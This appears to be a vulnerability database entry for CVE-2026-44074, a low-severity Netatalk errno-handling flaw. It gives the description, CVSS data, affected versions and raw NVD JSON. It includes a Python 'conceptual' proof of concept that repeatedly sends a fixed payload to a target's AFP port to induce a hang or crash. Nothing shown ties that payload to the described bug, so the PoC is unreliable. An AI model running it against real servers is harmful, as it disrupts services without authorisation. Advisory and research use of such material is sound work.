Security Vulnerability Report
中文
CVE-2026-44074 CVSS 3.7 LOW

CVE-2026-44074

Published: 2026-05-21 09:16:30
Last Modified: 2026-05-21 15:20:19
Source: 33c584b5-0579-4c06-b2a0-8d8329fcab9c

Description

Netatalk 2.1.0 through 4.4.2 combines multiple errno values using bitwise OR, resulting in incorrect error codes when multiple error conditions occur simultaneously, which may allow a remote attacker to cause a minor service disruption via conditions that trigger incorrect error-handling paths.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Netatalk 2.1.0
Netatalk 3.0.x
Netatalk 3.1.x
Netatalk 4.0.x
Netatalk 4.1.x
Netatalk 4.2.x
Netatalk 4.3.x
Netatalk 4.4.0
Netatalk 4.4.1
Netatalk 4.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual Proof of Concept (PoC) to demonstrate the trigger mechanism. # It attempts to trigger concurrent error conditions in Netatalk. # # Usage: python3 poc.py <target_ip> <port> # # Note: This may cause the service to hang or crash. import socket import sys import time def trigger_error_condition(ip, port): try: print(f"[*] Connecting to {ip}:{port}...") # Create a raw socket connection to the AFP service (usually port 548) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((ip, port)) # Send malformed or rapid data to induce internal errors # This simulates the condition that triggers the errno bitwise OR logic payload = b"\x00\x04\x41\x46\x50\x32\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" print("[*] Sending payload to trigger error handling...") for i in range(100): try: s.send(payload) # Introduce slight delay or aggressive sending to trigger race conditions time.sleep(0.01) except socket.error: # Ignore send errors to keep connection if possible, or reconnect pass print("[*] Payload sent. Check service status.") s.close() except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) trigger_error_condition(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44074", "sourceIdentifier": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "published": "2026-05-21T09:16:29.650", "lastModified": "2026-05-21T15:20:19.040", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netatalk 2.1.0 through 4.4.2 combines multiple errno values using bitwise OR, resulting in incorrect error codes when multiple error conditions occur simultaneously, which may allow a remote attacker to cause a minor service disruption via conditions that trigger incorrect error-handling paths."}], "metrics": {"cvssMetricV31": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-682"}]}], "references": [{"url": "https://netatalk.io/security/CVE-2026-44074", "source": "33c584b5-0579-4c06-b2a0-8d8329fcab9c"}]}}